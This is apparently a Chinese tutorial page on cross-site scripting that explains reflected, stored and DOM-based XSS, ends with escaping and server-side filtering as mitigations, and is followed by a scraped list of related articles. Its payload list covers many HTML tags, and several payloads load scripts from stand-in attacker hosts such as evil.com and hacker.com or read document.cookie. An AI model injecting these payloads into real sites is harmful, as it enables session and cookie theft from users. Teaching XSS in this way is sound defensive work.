JavaScript 跨站攻击脚本-XSS
XSS: Cross Site Scripting
XSS 概念
恶意攻击者往Web页面里插入恶意script代码,
当用户浏览该页之时,嵌入Web里面的script代码会被执行,从达到恶意攻击的目的.XSS攻击针对的是用户层面的攻击
xss漏洞通常是通过页面的输入函数将javascript代码输出到html页面中, 通过用户本地浏览器执行的。
xss漏洞原因:`允许用户在提交的数据中嵌入HTTML代码或JavaScript代码`
影响范围: XSS涉及到第三方,即攻击者,客户端和网站,XSS的攻击目标是为了盗取客户端的cookie或者其他用于识别客户端身份的敏感信息,然后假冒最终用户与网站交互
XSS 分类
'1': 反射型xss- <非持久化> 攻击者事制作好攻击链接,需要欺骗用户点击链接才能触发xss代码(服务器中没有这样的页面和内容),一般出现在搜索页面。
'2': 存储型xss- <持久化>代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中
每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)
'3': DOM型xss:基于文档对象模型 Document Object Model的一种漏洞。
DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。
DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,
它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
反射型xss攻击图示

XSS 攻击载体
'script标签': <script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
<script src=http://xxx.com/xss.js></script> #引用外部的xss
<script> alert("hack")</script> #弹出hack
<script>alert(document.cookie)</script> #弹出cookie
'img标签':
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(/hack/)>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
<img src=1 οnerrοr=alert(123)> 注:对于数字,可以不用引号
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
'body标签': 可以使用onload属性或其他更加模糊的属性(如属性)在标记内部传递XSS有效内容background
<body οnlοad=alert("XSS")>
<body background="javascript:alert("XSS")">
'iframe标签': 该<iframe>标签允许另一个HTML网页的嵌入到父页面。IFrame可以包含JavaScript,但是,请注意,由于浏览器的内容安全策略(CSP)
iFrame中的JavaScript无法访问父页面的DOM。然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段
<iframe src=”http://evil.com/xss.html”>
'input标签': 在某些浏览器中,如果标记的type属性<input>设置为image,则可以对其进行操作以嵌入脚本
<input type="image" src="javascript:alert('XSS');">
'link标签': <link>标签,这是经常被用来连接外部的样式表可以包含的脚本
<link rel="stylesheet" href="javascript:alert('XSS');">
'table标签': 可以利用和标签的background属性来引用脚本而不是图像
<table background="javascript:alert('XSS')">
<td background="javascript:alert('XSS')">
'div标签': 该<div>标签,类似于<table>和<td>标签也可以指定一个背景,因此嵌入的脚本
<div style="background-image: url(javascript:alert('XSS'))">
<div style="width: expression(alert('XSS'));">
'object标签': 该<object>标签可用于从外部站点脚本包含
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
XSS 攻击过程-反射型
'Alice'经常浏览某个网站,此网站为'Bob'所拥有。
'Bob'的站点需要Alice使用用户名/密码进行登录,并存储了'Alice'敏感信息(比如银行帐户信息)。
'Tom' 发现 'Bob'的站点存在反射性的XSS漏洞
'Tom'编写了一个包含恶意代码的URL,并利用各种手段诱使'Alice'点击
'Alice'在登录到'Bob'的站点后,浏览了 'Tom' 提供的URL
嵌入到URL中的恶意脚本在Alice的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在'Alice'完全不知情的情况下将这些信息发送给 'Tom'
'Tom' 利用获取到的cookie就可以以'Alice'的身份登录'Bob'的站点,如果脚本的功更强大的话,'Tom' 还可以对'Alice'的浏览器做控制并进一步利用漏洞控制
XSS 攻击过程-反射型
'Bob'拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
'Tom'检测到'Bob'的站点存在存储型的XSS漏洞。
'Tom'在'Bob'的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了'Bob'的服务器的数据库中,然后吸引其它用户来阅读该热点信息。
'Bob'或者是任何的其他人如'Alice'浏览该信息之后,'Tom'的恶意脚本就会执行。
'Tom'的恶意脚本执行后,'Tom'就可以对浏览器该页面的用户发动一起XSS攻击
XSS 漏洞的危害
存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,只要被攻击者访问了该页面就会遭受攻击。
而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触
比如利用社会工程学或者利用在其他网页挂马的方式。
XSS危害

XSS 攻击漏洞的解决
'1': 控制脚本注入的语法要素。比如:JavaScript离不开:“<”、“>”、“(”、“)”、“;”...等等,
我们只需要在输入或输出时对其进行字符过滤或转义处理就即可。
一般我们会采用转义的方式来处理,转义字符是会使用到HTML的原始码,
因为原始码是可以被浏览器直接识别的,所以使用起来非常方便。
允许可输入的字符串长度限制也可以一定程度上控制脚本注入
'2':所有的过滤、检测、限制等策略,建议在Web Server那一端去完成,而不是使用客户端的JavaScript或者VBScript去做简单的检查。
因为真正的攻击者可以绕过你精心设计制作的客户端进行过滤、检测或限制手段
JavaScript 跨站攻击脚本-XSS的更多相关文章
- Http的会话跟踪和跨站攻击(xss)
会话跟踪 什么是会话? 客户端打开与服务器的连接发出请求到服务器响应客户端请求的全过程称之为会话. 什么是会话跟踪? 会话跟踪指的是对同一个用户对服务器的连续的请求和接受响应的监视. 为什么需要会话跟 ...
- web安全性测试——XSS跨站攻击
1.跨站攻击含义 XSS:(Cross-site scripting)全称"跨站脚本",是注入攻击的一种.其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布 ...
- 用shell脚本批量进行xss跨站攻击请求
由于执行的xss攻击请求他多了,初步估计要执行83次,而且还要执行3篇,如果手工一个一个去执行,说出去,我还配叫自动化大师吗: 有鉴于此,边打算自己编写一个脚本进行批量执行: 而短脚本的编写,非she ...
- XSS与CSRF两种跨站攻击比较
XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...
- 总结 XSS 与 CSRF 两种跨站攻击
前言 在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了 ...
- XSS跨站攻击
目录 1 XSS跨站攻击简介 1 1.1 什么是XSS 1 1.2 XSS的分类 1 1.3 XSS的危害 1 2 XSS的攻击原理 1 2.1 本地式漏洞攻击 1 2.2 存储式漏洞攻击 2 2.3 ...
- 总结XSS与CSRF两种跨站攻击
XSS:跨站脚本(Cross-site scripting),实际应是"CSS",但由于和层叠样式表CSS名称冲突,故改为"XSS" CSRF:跨站请求伪造(C ...
- Cross-Site Scripting XSS 跨站攻击全攻略 分类: 系统架构 2015-07-08 12:25 21人阅读 评论(2) 收藏
原文:http://a1pass.blog.163.com/blog/static/2971373220087295449497/ 题记:这是我在<黑客X档案>08年第5期发表的一篇文章, ...
- XSS 与 CSRF 两种跨站攻击
在前几年,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式, 但是现在参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了.但是历史同样悠久的 ...
随机推荐
- OSCP Learning Notes - WebApp Exploitation(5)
Remote File Inclusion[RFI] Prepare: Download the DVWA from the following website and deploy it on yo ...
- threadLocal源码土话解说
前言 废话不多说,先了解什么是threadLocal,下面是threadLocal类的说明注释, 这段话大致(猜的)意思是,改类为线程提供了一个局部变量,但是呢,这个变量和普通的变量又有所不同,怎么不 ...
- Java 线程与同步的性能优化
本文探讨的主题是,如何挖掘出Java线程和同步设施的最大性能. 1.线程池与ThreadPoolExecutor 1)线程池与ThreadPoolExecutor 线程池的实现可能有所不同,但基本概念 ...
- Mnist手写数字识别 Tensorflow
Mnist手写数字识别 Tensorflow 任务目标 了解mnist数据集 搭建和测试模型 编辑环境 操作系统:Win10 python版本:3.6 集成开发环境:pycharm tensorflo ...
- 分布式锁(3) ----- 基于zookeeper的分布式锁
分布式锁系列文章 分布式锁(1) ----- 介绍和基于数据库的分布式锁 分布式锁(2) ----- 基于redis的分布式锁 分布式锁(3) ----- 基于zookeeper的分布式锁 代码:ht ...
- 使用faker生成测试数据
需要先安装faker模块,pip install faker 导入模块中的Faker类:from faker import Faker 实例化faker = Faker() print('姓名相关') ...
- Java线程-- 线程池
1.线程池概念 线程池,其实就是一个容纳多个线程的容器,其中的线程可以反复使用,省去了频繁创建线程对象的操作,无需反复创建线程而消耗过多资源. 为什么要使用线程池? 在java中,如果每个请求到达就创 ...
- IntelliJ IDEA 2019.3.4永久破解(持续更新)--已更新
第一步,下载最新破解包: 链接: https://pan.baidu.com/s/1djUF9TiNZC4rIfxczxfIew 提取码: f521 把破解包两个文件放进bin目录下,这一步极为重要! ...
- excel文件双击打开空白
excel文件双击打开之后进入软件,没有去读文件 一.现象描述 打开现象如下所示,只有excel模板,看不到excel中的表格模板. 二.想要打开文件 (1)在软件的文件--->打开--> ...
- SELECT from Nobel Tutorial
02.SELECT from Nobel Tutorial 注意:where语句中对表示条件的需要用单引号, 下面的译文使用的是有道翻译如有不正确,请直接投诉有道 01.Change the quer ...